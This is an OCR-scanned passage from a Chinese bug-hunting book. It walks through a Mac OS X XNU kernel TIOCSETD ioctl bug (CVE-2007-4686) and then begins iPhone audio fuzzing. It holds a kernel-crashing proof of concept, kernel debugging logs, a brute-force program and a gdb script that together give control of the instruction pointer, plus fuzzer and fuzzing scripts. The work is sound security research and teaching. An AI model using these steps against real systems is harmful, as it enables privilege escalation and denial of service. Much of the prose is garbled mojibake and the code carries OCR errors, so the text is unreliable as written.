#1, T HEH XNU AR AR AURSTT.

BT xnu-792.13.8/bsd/kem/tty.c

[-.]

816 /*

817 * Joctls for all tty devices. C(alled after line-discipline specific ioctl
818 * has been called to do discipline-specific functions and/or reject any
819 * of these ioctl commands.

820 */

821 /* ARGSUSED */

822 int

823 ttioctl(register struct tty *tp,

824 u_long cmd, caddr_t data, int flag,

825 struct proc *p)

826 {

[..]

[8?? switch (cmd) { /* Process the ioctl. */
1089  case TIOCSETD: { /* set line discipline */
1090 register int t = *(int *)data;

1091 dev_t device = tp->t_dev;

1092

1093 if (t »= nlinesw)

1094 return (ENXIO);

1095 if (t !=s tp->t_line) {

1096 s = spltty();

1097 (*linesw[tp->t_line].1 close)(tp, flag);
1098 error = (*linesw[t].l open)(device, tp);
1099 if (error) {

1100 (vuld)(*llnesw[tp->t line].1 open)(device, tp);
1101 splx(s);

1102 return (error);

1103 }

1104 tp->t_line = t;

1105 splx(s);
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1106
1107
1108 }

[..

]

}

break;

UER—~ TIOCSETD IOCTL iR R LA N, FBFFEH e 1089 71 switch case
T TEH 1090 47, AP RALA data ( RV caddr t, HECELRE char *AY typedef )
REEEMAESBAULTHE t P, Z/FES 109347, t BYEF nlinesw L, data {H
B A PR AL, B — AP ERE AT B M JC A58 RU{E ox80000000 B B K AIH.
nREE, t 2HF 1090 TTHRRBFEBHR MR —ME, UEFER 7-1 26135
T A4 t 2 RAEL

RIDFR 71 FARBBRITANFEFIFERF (conversion_bug example.c )

01 typedef char * caddr_t;

02
03
04
05

07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

// output the bit pattern

void

bitpattern (int a)
06 {

}

int
main ()

29 {

30
31
32
33
34

35
36

int m = 0;
int b = 0;
int cnt = 0;
int nbits = 0;
unsigned int mask = 0;

nbits = 8 * sizeof (int);
m = 0x1 << (nbits - 1);

mask = m;
for (cnt = 1; cnt <= nbits; cnt++) {
b=(a &mask) ? 1 : 0;
printf ("%x", b);
if (ent % 4 == 0)
Printf (Il ‘II) ;
mask >»>= 1;

}
printf ("\n");

caddr_t data "\xFRxFRAxFFAxFf";
int t 0;

i n

t = *(int *)data;

printf ("Bit pattern of t: ");
bitpattern (t);
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37

38 printf ("t = %d (0x¥08x)\n", t, t);
39

40 return 0;

4}

%5 30, 31 01 33 47 JLF#1 OS X AZ R HFIRLTHR . XAMEFH, K
YeRM IOCTL 8 ASUE BT oxfFefFrff LA 3047 ). 56 33 TRt 2 |,
Bl 8 2FTED t BTG E . XEEEAREIRITEREE T,

osx$ gcc -0 conversion_bug example conversion bug example.c

osx$ ./conversion_bug_example
Bit pattern of t: 1111 1111 1111 1111 1111 1111 1111 1111

t = -1 (OXFFFFFFFF)

R, RE 4D oxff FHEHANNFHERBRAI-TMEASEBEH t, t
HHER -1, BEZRAERNEBFMHEXLZLRBEN A3 75,

IRt ERE, NS 1093 TR AR R [B] FALSE, A 75 S RIAR
& nlinesw FMERE KT 08, MR KA XFER, B —F4H A RAK t
B, 7658 109817, t WERIME T — R BN RS, FKEERHXMEHEK
Ryl, HTUREEE—THNEMNE, ibRZEEPIT. X, RIEETESEH
WRZBITREE T . BEPERAFAERE TXNTTHE bug. ©

PUF XX bug B#IHT, W& 7-1 FizR,

h &%

OxFFFFFFFF

[

1(2)

T linesw[t].l_open

l\_—? -+—> EIP

(5)

(4)

CxROOO0O00D0

&l 7-1 23 AE OS X By XNU WE+ R B IRIFE
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(1) EAEEEE B Linesw[ 18551 FH o

(2) AP HEHIE t AIE 1inesw[ JELARI RG],

Q)R TFHPERBHNFE, BF5IH 7T — 8RB ER 1_open() ¥ HE
iPErET

(4) 3X~ 1_open () EREX OB & He ik 95 | R FFR AL

(5) 1_open(MBLRE Hshit AL FIEE RIBIR T84 A28 (EIP S ).

t (R A P ARAEAS (TR 7-1 (2)), BRUARRATERA vl Gede il & Hi 2] e1p o
FIHHEE -

7.2 miEAPH

FEGX MG, RAUTABOR#ES E1p,

0O $E—#. MR bug FRGHT (FELERF )
Q¥ . HEE—IHERRKKIFSEE,

Q= EEERASRMERRS.

0 BP9 . 5 EIp,

721 F—%: A bug ERGHR (FELERS)

—HIRFX bug, MEAEEREBBERES T. REAE—THEIRH
TIOCSETD IOCTL 44N A% . RIS B 7-2 Bl it ) POC IRACHS,

RFTER 7-2 POCALHS, fili&Z7E OS X Wi & BRI bug (poc.c)

01 #include <sys/ioctl.h>

02

03 int

04 main (void)

05 {

06  unsigned long  ldisc = 0xff000000;
07

08 ioctl (0, TIOCSETD, &ldisc);
09

10 return 0;

11 }

— &5 HTH MacBook: 1 149 #56, —& LED ¥k B8R 28: 899 £t (UH
11 F7/C5581iF Mac OS X ESciadt: LHro
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SRIE i AR B AU P Sy iilidax B POC S,

0sx$ uname -a
Darwin osx 8.8.3 Darwin Kernel Version 8.8.3: Wed Oct 18 21:57:10 PDT 2006; -
root:xnu-792.15.4.0bj~/RELEASE_I386 1386 1386

osx$ id
uid=502(seraph) gid=502{seraph) groups=502(seraph)

osx$ gcc -0 poc poc.c

osx$ ./poc

X POC AR HATIS STENHBL T Mac OS X fUARME B BUARE, tE 7-2 Bk,

¥ou need o restart your computer. Hold down the Power
button for several seconds ar press the Restart buttan

Veulllez redémarrer votre ordinateur. Maintenez la touche
de demairage enfoncee ;:--:-r-n.'i:u'u plusieurs secondes ou Glen
appuyer sur le bouton de réintialisation

Sie mussen Ihren Computer ey starten. Halten Sie dazu

die Einschalttaste einige Sekunden gedruckt oder drucken
] ] ]

Sie die Neustart-Taste

CEHERTHESBDET

42 i {il
=g i

A 7-2 Mac OS X AR {EL

RAXFHABEIRE, RIS AT TEA(E B BSR4 &/ Library/Logs/
FHHBECEF . EREARE, T B E3C

osx$ cat /Library/Logs/panic.log

Sat Mar 3 13:30:58 2007

panic(cpu 0 caller 0x001A31CE): Unresolved kernel trap (CPU 0, Type 14=page fault),
registers:

CRO: 0x80010033, CR2: 0xe0456860, CR3: 0x00d8a000, CR4: 0x000006e0

EAX: 0xe0000000, EBX: Oxff000000, ECX: 0x04000001, EDX: Ox0386c380

CR2: 0xe0456860, EBP: Ox250e3d18, ESI: 0x042fbe04, EDI: 0x00000000

EFL: 0x00010287, EIP: 0x0035574c, CS: 0x00000008, DS: 0x004b0010

Backtrace, Format - Frame : Return Address (4 potential args on stack)
0x250e3a68 : Ox128d08 (0x3c9a14 Ox250e3a8c 0x131de5 OxO0)

0x250e3aa8 : Oxla3ilce (0x3cf6c8 Ox0O Oxe Ox3ceef8)

0x250e3bb8 : 0x19a874 (0x250e3bd0o Ox1 0x0 0x42fbe04)

0x250e3d18 : ox356efe (0x42fbe04 0x8004741b 0x250e3eb8 0x3)

0x250e3d68 : Oxlefade (0x4000001 0x8004741b 0x250e3eb8 0x3)

0x250e3da8 : 0x1e6360 (0x250e3ddo 0x297 Ox250e3e08 Ox402a1f4)
0x250e3e08 : Oxide161 (0x3a88084 0x8004741b 0x250e3eb8 0x3)

0x250e3e58 : 0x330735 (0x4050440

e ok 2 e ke ok ke ke o

-
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EREMFREL — RPN SRERSEAT . REATLUIZE OS XA
B BT 3C (privileged context ) FHATERAEG? BRI XA M8, W
HE— TFTHEBERNATEE.

722 HZH: AEZF—PMAZARXBNIRE

XEF, REZERRAKT . ZRTRE], WRAEWE Mac, XARRM, HIE
Fi1 RFE—H MacBook, H AR B AT EREKARZ, IR EERRE .
fE—f Linux EHLEMEFLZEFERK GNU Hi#F, REHEEEIIRKY
MacBook, B.5S TW45H TEXH —EFRSE FVIRAEHNTES .

723 H=H: ERERSFBRAR

fE Linux EHL EWEFERE) gdb ZJ5, RAURMRZLREEMTREE, W
A 7-3 7R

Mae 0S X Linux

( Bizin ¢ 383l n >
i

Pttt} : 10.0.0.2
P tth ! 10.0.0.35
MACtmtl : 00:17:f2:f0:47:19 bt e

A 7-3 R Mac OS X A 3EE
RIGTTIF Mac OS X HiF RS, JAAZBABKRR, BN REHERshER. ¥

osx$ sudo nvram boot-args="debug=0x14e"

0sx$ sudo reboot

Mac OS X HIR RS E GG, B3 Linux £, #E ol LEER BfRRE,

linux$ ping -c1 10.0.0.2
PING 10.0.0.2 (10.0.0.2) from 10.0.0.3 : 56(84) bytes of data.
64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=1.08 ms

--- 10.0.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% loss, time Oms
rtt min/avg/max/mdev = 1,082/1.082/1.082/0.000 ms
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A Linux REG E A BARREMMN T —TUKARK ARP & B, NMAEM G UL
EE R~ MEEREE, BRER BRI NERHEEA S TN,

linux$ su -
Password:

linux# arp -an
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on etho
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] on etho

linux# arp -s 10.0.0.2 00:17:F2:F0:47:19

linux# arp -an
? (10.0.0.1) at 00:24:E8:A8:64:DA [ether] on etho
? (10.0.0.2) at 00:17:F2:F0:47:19 [ether] PERM on etho

RIGUA—NERBUHP B3R5 Mac OS X 248, #— T ZS s i,
FEt—ANARu] R PR (NMI), 7 MacBook W% E#iii A TE R

Debugger called: <Button SCI>

Debugger called: <Button SCI>

cpu_interrupt: sending enter debugger signal (00000002) to cpu 1
ethernet MAC address: 00:17:f2:f0:47:19

ethernet MAC address: 00:17:f2:f0:47:19

ip address: 10.0.0.2

ip address: 10.0.0.2

Waiting for remote debugger connection.

A2 Linux F£HL, SfTAZEREE (X T EX gdb AN ELZER,
0L B.5S 7 ),

linux# gdb_osx KernelDebugKit_10.4.8/mach_kernel

GNU gdb 2003-01-28-cvs (Mon Mar 5 16:54:25 UTC 2007)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "--host= --target=i386-apple-darwin”,

SRIEFE 7R AR AR NN (kdp )

(gdb) target remote-kdp

AR ZTERZE, F—-KIEERNE B RENANE,

(gdb) attach 10.0.0.2

Connected.

0x001a8733 in lapic dump () at /SourceCache/xnu/xnu-792.13.8/0sfmk/i386/mp.c:332
332 int i;
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WS R, TR EEAL T XA RHE, OSX RARSET, T
RRFIL TR A4 S dT .

(gdb) continue
Continuing.

B, WA Mac OS X HiR RGP K —VIARMER B 1o

7.24 FEO¥Y: =% EIP

BIEEASSEER B RENNBZE, IE Mac OS X HL#s FfTH—1
K, RIGEHRPITRSER 7-2 P9 POC B,

osx$ id
uid=502(seraph) gid=502(seraph) groups=502(seraph)

osx$ ./poc

OS X R HIBiE, 7 Linux AL L83 7 ITREESHEHER

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0035574c in ttsetcompat (tp=0x37e0804, com=0x8004741b, data=0x2522beb8 "", -
term=0x3) at /SourceCache/xnu/xnu-792.13.8/bsd/kern/tty compat.c:145

145 */

KT FHEREEMASIRT SIGTRAP (£5, REEF TRENITHARZIES
(LUF a4 g RAR R B4 ),

(gdb) x/1i $eip
0x35574c <ttsetcompat+138>:

B, HAZAEER eax FHEA7I AR RA T . HETREEF
fFafH.

call *0x456860(%eax)

(gdb) info registers

eax 0xe0000000 -536870912
ecx 0x4000001 67108865
edx 0x386c380 59163520
ebx oxf000000 -16777216
esp 0x2522bc18 0x2522bc18
ebp 0x2522bd18 0x2522bd18
esi 0x37e0804 58591236
edi 0x0 0

eip 0x35574c¢ 0x35574c
eflags 0x10287 66183

cs 0x8 8

sS 0x10 16
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ds 0x4b0010 4915216
es 0x340010 3407888
fs 0x25220010 622985232
gs 0x48 72

FHA A5 0% HH BR EAX T2 AO{EE 0xe0000000, T FIFASTHE 21X ME FE M BB F
Xy, HRRICS4R T EIP BHEKHE 2

(gdb) x/6i $eip - 15 -3

uEsssnd <ttsetcompat+123>: mov %ebx , ¥eax X 'i'lt BRATET R 46
0x35573F <ttsetcompat+125>: shl  $0x5,%eax &L g, x5,

0x355742 <ttsetcompat+128>: mov  %esi,ox4(%esp,1)

0x355746 <ttsetcompat+132>: mov oxffffffa8(%ebp),¥ecx

0x355749 <ttsetcompat+135>: mov  %ecx,(%esp,1)

0x35574c <ttsetcompat+138>: call *0x456860(%eax)

FEHbAE 0x35573d 4k, EBX FAFAsIHE Hl% EAX FfFE8. T —FRIELHXME
R 50, Hihik ox35574c A ALXAMERITH call 5 HBRMER . B4 eBX HI{E
EANBRERHMVE? REEF — T XLEFAAHEP LRI, eBX KI{EE oxffoooooo,
BIRIFFEAEA T10CSETD IOCTL KM ABIE R BL . 1H oxeooo0000 TR HLHIH
MEER S MBRIMSER, TR, FXEE c1p FHESFENNEFEREY]
I RIE . TR TR AR SEI T LERINT

address of the new value for EIP = (IOCTL input data value << 5) + 0x456860

4 BN A R T 538 B9 TIOCSETD S AR, "TLU AL TR
(B —Fh: AT AR — AR, SRETURI[RXME, RIREE—
MR FE, TRE T W TR RZRNEIXME,

REZHFR 7-3 R 1153 TI0CSETD By ABHR(EMUFS (addr brute force.c )

01 #include <stdio.h>

02

03 #define MEMLOC 0x10203040
04 #define SEARCH START 0x80000000
05 #define SEARCH_END oxffffffff

06

07 int

08 main (void)

09 {

10 unsigned int a, b = 0;

11

12 for (a = SEARCH_START; a < SEARCH_END; a++) {
13 b = (2 << 5) + 0x456860;

14 if (b == MEMLOC) {

15 printf ("Value: %08x\n", a);
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16 return 0;

17 }

18 }

19

20  printf ("No valid value found.\n");
21

22 return 1,;

23 }

REXBEFREEXAEE: SHENFFHibE ox10203040 ALHHER B E1P
AT, TEANBREMN AFH TIOCSETD ¥ AZEE?

osx$ gcc -o addr_brute_force addr_brute_force.c
osx$ ./addr_brute_force
Value: 807ed63f

ISR 0x10203040 R M RABE FI £1p HE, FRUFIEEIE ox8o7ed63f 1EH
TIOCSETD IOCTL A ABHEIZ A .

RIGRIXEEH EIP, 1L T8 M HihE 0x65656565, i, FREANZFIRB|—4t
IBEZERANFNE., BRE 7 FREXE gdb A, DIERBEGENHNENGFLE,

KIEHFR 74 —BEAERSPFRBETEFTRAELBHRIEA
( search_memloc.gdb )

01 set $MAX ADDR = 0x00600000

02

03 define my ascii

04 if $argc !=1

05 printf "ERROR: my ascii”

06 else

07 set $tmp = *(unsigned char *)($argo)
08 if ($tmp < 0x20 || $tmp > Ox7E)

09 printf "."

10 else

11 printf "%c", $tmp
12 end

13  end

14 end

15

16 define my_hex

17 if $argec 1= 1

18 printf “"ERROR: my hex"

19 else

20 printf "¥o2X%o2X%o2X¥02X ", \

21 *(unsigned char*)($arge + 3), *(unsigned char*)($argo + 2),
22 *(unsigned char*)($argo + 1), *(unsigned char*)($argo + 0)
23 end

24 end

25

26 define hexdump



27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
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if $argc != 2
printf "ERROR: hexdump”
else

if ((*(unsigned char*)($arg0 + 0) == (unsigned char)($argi >> 0)))
if ((*(unsigned char*)($argo + 1} == (unslgned char)($argl »> 8)))
if ((*(unsigned char*)($argo + 2) == (unsigned char)($arg1 >> 16)))
if ((*(unsigned char*)($argo + 3) == (unsigned char)(%arg1 >> 24)))
printf "%¥08X : ", $arg0
my_hex $arg0
my ascii $arg0+0x3
my_ascii $argo+0x2
my_ascii $argo+0x1
my ascii $argo+0oxo
printf "\n"
end
end
end
end
end
end

define search_memloc
set $max_addr = $MAX_ADDR
set $counter = 0

if $argc != 2
help search _memloc
else

while (($argo + $counter) <= $max_addr)
set $addr = $argo + $counter
hexdump $addr $argi
set $counter = $counter + 0x20
end
“end
end
document search_memloc
Search a kernel memory location that points to PATTERN.
Usage: search_memloc ADDRESS PATTERN

64 ADDRESS - address to start the search

65
b6

PATTERN - pattern to search for
end

AFBH R 74 P gdb AR WIS #ROERMBALMER R,

FRE F PRI 1{H ox65656565 HINFFALE, BHILRALUT =R MHEA

(gdb) source search_memloc.gdb

(gdb) search_memloc Ox400000 Ox65656565
0041BDA0 : 65656565 eeee

0041BDCO : 65656565 eeee

0041BDEO : 65656565 eeee

0041BEOO : 65656565 eeee

0041BE20 : 65656565 eeee

0041BE40 : 65656565 eeee

0041BE6O : 65656565 eeee

0041BEBO : 65656565 eeee
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0041BEAOD : 65656565 eeee
0041BECO : 65656565 eeee
00459A00 : 65656565 eeee
00459A20 : 65656565 eeee
00459A40 : 65656565 eeee
00459A60 : 65656565 eeee
00459A80 : 65656565 eeee
00459AA0 : 65656565 eeee
00459AC0 : 65656565 eeee
00459AE0 : 65656565 eeee
00459B00 : 65656565 eeee
00459B20 : 65656565 eeee

Cannot access memory at address 0x4dc000

B R T iZ AR B 35 M1 ox65656565 INAFAIE ., RiIE TR BRE
—A, B TABER 7-3 PE=ITE XN MeMoc, RG1IFBRFREINEEMN
TIOCSETD % AfH

osx$ head -3 addr_brute_force.c
#include <stdio.h>

#tdefine MEMLOC 0x0041bdao
osx$ gcc -o addr_brute_force addr_brute_force.c

osx$ ./addr_brute_force
Value: B7ffe2aa

KRG, BECEREER 7-2 B POC U IOCTL i AE, BAKAR 2 %R
oS X b, PATXEAES,

osx$ head -6 poc.c
#include <sys/ioctl.h>

int

main (void)
unsigned long ldisc = ox87ffe2aa;

0sx$ gcc -0 poc poc.c

osx$ ./poc

OS X W28 B, Linux EYL AR HBInT .

Program received signal SIGTRAP, Trace/breakpoint trap.
0x65656565 in ?? ()

(gdb) info registers

eax oxfffc5540 -240320
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ecx 0x4000001 67108865

edx 0x386C380 59163520
ebx ox87ffe2aa -2013273430
esp 0x250dbc08 0x250dbc08
ebp 0x250dbd18 0x250dbd18
esi 0x3e59604 65377796
edi ox0 0

eip Dx65656565 0x65656565
eflags 0x10282 66178

cs 0x8 8

55 0x10 16

ds 0x3e50010 65339408
es 0x3e50010 65339408
fs 0x10 16

gs 0x48 72

g Ak PR, BRAE eI FFAFARHI(ELRE: 0x65656565, XY B AT LA £1P,
{HRFIFHXA bug LISEB AR RERARSTHE— . 7 oS X,
% Leopard, B BA RN BIE— MR P2 EHAE LT BF 5 CHIERht
ZS[a], PHL{# A Linux B0E Windows Y H FI SRR & 81 21| A 7 23 [B] bt = A A 68
. i HCHARERAEIE (payload ) FIXTHEIEAITIA, X PIAL S M HE W
#f (heap spray ), MR T XA E&, ALEIARXA, MM T OS X AHHI—
AERAFR . RERE L T — M EE RS8R (payload ) 51/HY TIOCSETD
WAE, ZEEXMEARE P e, Rig-----FIE!

AR EBRTEA. T TENMAERFREEY, HMRMREGER, ALY
B2 BHIMYE, VB R — R ERRR A AR e R B,

7.3 RREZLE
w1 F 1 BieB, =

BEMTERARZE, FERAT AR IOCTL FiEH 7 — I,
%ﬁ TE'?~ b\lgu

RREXHE  xnu-792.24.17/bsd/kemn/tty.c P!
[..]

1081 case TIOCSETD: { /* set line discipline */
1082 register int t = *(int *)data;

1083 dev_t device = tp->t_dev;

1084

1085 if (t >= nlinesw || t < 0)
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1086 return (ENXIO);

1087 if (t != tp->t line) {

1088 s = spltty();

1089 (*linesw[tp->t_line].1l close)(tp, flag);
1090 error = (*linesw[t].l open)(device, tp);
1091 if (error) {

1092 (void)(*1linesw[tp->t line].l open)(device, tp);
1093 splx(s);

1094 return (error);

1095 }

1096 tp->t_line = t;

1097 splx(s);

1098 }

1099 break;

1100 }

[..]

BIES 1085 TR t MERE NI, RN, A R8s s Bt
B, XTSI AR E X i

7.4 ZRaFF

e —ZBRFR
O 7EATRERITROL T, Bl BRI #
Q F A BRI TTIE

7.5 3

w1 FuBisB, ERm

EAXMRACER, 0S XK XNU NEZFRAC AT LIRS, Br4RKEBHAE
H ORI MY E &2 T —hiE e L 2E™, X4 bug K4S 2 CVE-2007-4686,
ERERT XEESS, Theo de Raadt ( OpenBSD Hl OpenSSH AIA) 7 3 )
&R JX > bug th 44BSD R E ¥, HHEKY 15 F57, KXKHMELBET, H
BERNFARRE, 1F 1994 4E/) FreeBSD #HItA R4+, TIOCSETD IOCTL B3 E
RXER,
[..]

804  case TIOCSETD: { /* set line discipline */
805 register int t = *(int *)data;
806 dev t device = tp->t_dev;

807
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808 if ((u_int)t >= nlinesw)

809 return (ENXIO);

810 if (t != tp->t line) {

811 s = spltty();

812 (*linesw[tp->t line].l close)(tp, flag);
813 error = (*linesw[t].l open)(device, tp);
814 if (error) {

815 (void)(*linesw[tp->t_line].l open)(device, tp);
816 splx(s);

817 return (error);

818 }

819 tp->t_line = t;

820 splx(s);

821 }

822 break;

823

[..]

% 808 FTAUHRRE t KA B NE BN LA SBR, Filk t KiEASEHE,
RH PR EIE KT ox80000000, PRELR ISR ( WA 809 1T ). ﬁﬁ& Theo &
XTH——3X ™ bug FA7E 1994 FFIBEE T . B 7-4 B/R T X4 bug B E pIATE] .,

§9081W
. @ 4 bl
o8l {
ts & senaE Vb b K
l UWRBBGE KEGvEHE
L *~— * —*

03.19.2007 03.26.2007 04.06.2007 11.14.2007 11.15.2007

A 7-4  MOEMSER LR BIRE B LM EFINEE

BiE

[11 XNU ARiRMRA 792.13.8 HABET ML TR TR . http://www.opensource.apple.com/
tarballs/xnu/xnu-792.13.8.tar.gz ( &4t http://bit.ly/HUs63y ).

[2] . “*You need to restart your computer’ (kernel panic) message appears (Mac OS X v10.5,
10.6)": http://support.apple.com/kb/TS3742 ( 44k>4 http:/bit.ly/HUnde4 ),

[3] W Mac OS X Developer Library #J “Kernel Extension Programming Topic: Debugging a Kernel
Extension with GDB”, RJit>4 http://developer.apple.com/library/mac/#documentation/Darwin/
Conceptual/ KEXTConcept/KEXTConceptDebugger/debug_tutorial.html ( 4t 4 http://bit.ly/
HUsOO0J ), “Kernel Programming Guide: When Things Go Wrong; Debugging the Kernel”, [
hit>4 http://developer.apple.com/library/mac/documentation/Darwin/Conceptual/KemelProgramming/
build/ build html#/apple _ref/dociuid/TP30000905-CH221-CIHBICGC ( it http /it ly/zrwglL ).

[4] W http://www.trapkit.de/books/bhd/ ( 5841t 24 http://bit.ly/yZX6td ).
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[5] XNU BRA 792.24.17 JHACAS AT M LAT WL 2R http://www.opensource.apple.com/tarballs/
xnu/xnu-792.24.17 tar.gz ( &hHkA http://bit.ly/HGIANT ),

[6] FRIX Mac OS X WEIRIAKE SMETTMLLT MaEE3]: http://www.trapkit.de/advisories/
TKADV2007-001.txt ( &2hk24 http:/bit.ly/TTGObP ),

[7] 1994 4 FreeBSD #J#5RAH) tty.c Al LA PIaE4R 3] : http://www.freebsd.org/cgi/cvsweb.cgi/
src/sys/kern/tty.c?rev-1.1;content-type-text/plain ( 52t >4 http:/bit.ly/HUo8Ly ).
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_tﬁﬂﬁ{%%ﬁ_’a@ﬁmﬁm%“‘ﬁ iPhone, FARNAET, H MR R
%7 iPhone, A IKIKXEREAEX MEEERT bug, HREFAZAIR—-EE
Bl .

8.1 HILimi

2T, A T —1f iPhone ] LJIBr, FAERIK bug, HEMEF)LIAHIE?
FeF T —okiFR, EEREMMNAMPESEREREATESA bug KA T HXE,
B ah i Safari M YEAF . BEIAR Mail N FH IS S EEHEE S| R HTILAL, BAE I
FERBA AN B, EAXEEEHERERTIE, FHFHEFI L ZER,
HEITH A ENF EiRE S,

1k iPhone &1 E bug BI2EBRINT .

Q %F—2: BT iPhone I FFPERE KFsBHdRPFEHE

Q5% 4 @ RRABEBNNISEFY & 8 '3 - 4 iPhone, Bt hE 4

XA FHLFFA TR, 2.2.0 CSHITY
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% At Cydia? & iPhone L& E T AT A L %% T &, 4w Bash. OpenSSH
PA;E. GNU ﬁﬁ'ﬁo

8.1.1 FE—4: R iPhone BIEIATERE

JiiB& T iPod i) iPhone, Z—F A WA FHNREM R &, FHL L =TIBH
EREA T ARR BB ZINEE: Core Audio HEZEP!, Celestial 22 Audio
Toolbox*HESE , 54b, iPhone BT — N EHTH A mediaserverd, XA -#FRUK
AN ANAE SRS, FEEEENTEMEA SRS,

8.1.2 FH: GIE—ME RARBNRIERF X XN F U TR

iPhone ARIERMEMRLE L EHAES, BHRIECIE MR LA
WML, Wi F0HE 8 bug FFER . X IHORIINER P 52 LA T #R4E.

(1) £ Linux FHL b @3 @h— B e 304 25 i 41

(2) 7£ Linux AL L : i#id—4 Web AR5 2547 AR Lo FH 51

(3) #£ iPhone I: 7ERSBHAR Safari HrFTFF3X Euilll i H 1,

(4) 7£ iPhone I : WitR mediaserverd HIHERAL .

(5) £ iPhone I: KIMFFIRBHIHCRE R,

G)EELI L],

HR7E Linux FHL LA T T ME S8 . BT 30H3sh BRI E 7k
HE TR B

3958 8-1 7 Linux £l E SN H R (fuzz.ce)

01 #include <stdio.h>
02 #include <sys/types.h>
03 #include <sys/mman.h>
04 #include <fcntl.h>
05 #include <stdlib.h>
06 #include <unistd.h>

07

08 int

09 main (int argc, char *argv([])

10 {

11 int fd = 0;

12 char * P = NULL;
13 char * name = NULL;
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14 unsigned int file size = 0;

15 unsigned int file offset = 0;

16 unsigned int file_value = 0;

17

18 if (argec < 2) {

19 printf ("[-] Error: not enough arguments\n");
20 return (1);

21 } else {

22 file size = atol (argv{1]);
23 file offset = atol (argv[2]);
24 file value = atol (argv[3]);
25 name = argv[4];

26 }

27

28 // open file
29 fd = open (name, O RDWR);
30 if (fd < 0) {

31 perror (“"open");
32 exit (1);

33

34

35 // mmap file
36 p = mmap (0, file_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
37 if ((int) p == -1) {

38 perror ("mmap");
39 close (fd);

40 exit (1);

41

42

43 // mutate file

44 printf (“[+] file offset: ox¥08x (value: Ox¥08x)}\n", file offset, file value);
45 fflush (stdout);

46 pl[file_offset] = file_value;

47

48 close (fd);

49 munmap (p, file_size);

50

51 return (0);

52 }

RASTE . 8-1 AIBIRIIAR FF R 4 128 BARREBISCFR R/, X8
ALK R . BRI R A B R A ELE BRI 2 . Bt
WA FREEHFE— T

linux$ gcc -o fuzz fuzz.c

RIERFFHERNE AAC ( Advanced Audio Coding ') #RH30H, XE
iPhone F{H FHEIBIA S MG, %S iPhone BERHER T Alarm.mdr £ 5 EArEE
il 344

linux$ cp Alarm.m4r testcase.mir
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LA LUT 24T, BB A BRI

linux$% du -b testcase.mir
415959 testcase.m4r

T A ST TR N fuzz TR oxff (il 255) HH (P IRBALE
A ABFT

linux$ ./fuzz 415959 4 255 testcase.miqr
[+] file offset: 0x00000004 (value: 0x000000ff)

SR JE A xxd BHIEZE R .

linux$ xxd Alarm.m4r | head -1
0000000: 0000 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....

linux$ xxd testcase.mdr | head -1
0000000: 0000 0020 ff74 7970 4d34 4120 0000 0000 ... .typM4A ....

i B R SUAF WAL B DY 4 (SCHHRBB A 0 T ERTT8L ) HEBTIUB{E (oxff)
B, Tk, REIET A bash 4K B 3h 5 ¥,

K1SEER 8-2 B3 bash A (go.sh)

01 #!/bin/bash

02

03 # file size

04 filesize=415959

05

06 # file offset

07 off=0

08

09 # number of files

10 num=4

11

12 # fuzz value

13 val=255

14

15 # name counter

16 cnt=0

17

18 while [ $cnt -1t $num ]

19 do

20 cp ./Alarm.m4r ./file$cnt.maa
21 /fuzz $filesize $off $val ./filedcnt.mda
22 let "oft+=1"

23 let "cnt+=1"

24 done

XA RCAEER 8-1 PR AR T —TEARN, E
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B3 R BARSCHE Alarm.mdr 9 4 IREH (LS 2045 )o MSCHHRBHIE 0
Foth (RS 747 ), BERSCHEIRT 4 N5 (LS 1047 ) Sr BB oxff (I
1347 ). AT, HAFEEUTH B,

linux$ ./go.sh

[+] file offset: 0x00000000 (value: 0x000000ff)
[+] file offset: 0x00000001 (value: 0x000000ff)
[+] file offset: 0x00000002 (value: Ox000000ff)
[+] file offset: 0x00000003 (value: 0x000000ff)

R e EA AT A B

linux$ xxd file0.m4a | head -1
0000000: ff00 0020 6674 7970 4d34 4120 0000 0000 ... ftypMaA ....

linux$ xxd filei.mda | head -1
0000000: 00ff 0020 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....

linux$ xxd file2.m4a | head -1
0000000: 0000 f20 6674 7970 4d34 4120 0000 0000 ... ftypM4A ....

linux$ xxd file3.m4a | head -1
0000000: 0000 00ff 6674 7970 4d34 4120 0000 0000 ....ftypM4A ....

Wk b B, BOBINIEER izt T /e Bk 1 B R 58 S b AR DA B B
W, BB, A NERFLREBARY], USHEE 82 FHMAEES
BE AT BA H.mdr BN .mda ( W5 2017 ). XREVNER), F A3 Safari
ASZF¥ iPhone FHLE F {8 M. mdr LAY B4 S

RZFI7E Linux FHL E %% T Web JR% 38 Apache, BU7ERIT M 3h:E Fodkt it
SR E AR REMBERER T . 8RR ERFERESRTY RS
M.mdr BH.mda, RIF1EFBIIT Safari 157 B/ URL.

WA 8-1 Fiw , Itk B #5304 Alarm.mda 7 FHLH BIFE SRR Safari _H I HL .
ARG B LE Y 2548 1) 58— shad f9iial F B 304 URL——file0.mda,

& 8-2 B/ BIRR Safari FTHF T XM Eshd 89304, (HEARNREIESHHT

BRI A IR TAAaWe? 3R AT LLE I Besh 39 U R AWML B, J53h
B Safari, FFibEMBB A, HEr, RERI 1K, EESR
mediaserverd H4E0t, iEBEBNAR Safari E B—ME—HIT R FGI S, &
5T FEXA Bash /NHATEFYL EZEAGTZ TAE,
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B3

Done 00027 T —— (10 20 "

This movie format is not
supported.

T — i e

OK

hitp:A182.16R.88 103/ Alarm.mda

8-1 MBS Safari & st 9 304 E 8-2 Eisieah it i = A 67 S
Alarm.m4a ( file0.m4a )

K555 8-3 At mediaserverd H4&ERT B shFT I 4 S04 O A0S
( audiofuzzer.sh )

01 #!/bin/bash
02
03 fuzzhost=192.168.99.103

DS Echﬂ [+] I ) I N NN I N

06 echo [+] Start fuzzing

07 echo [+]

08 echo -n "[+] Cleanup: "

09 killall MobileSafari

10 killall mediaserverd

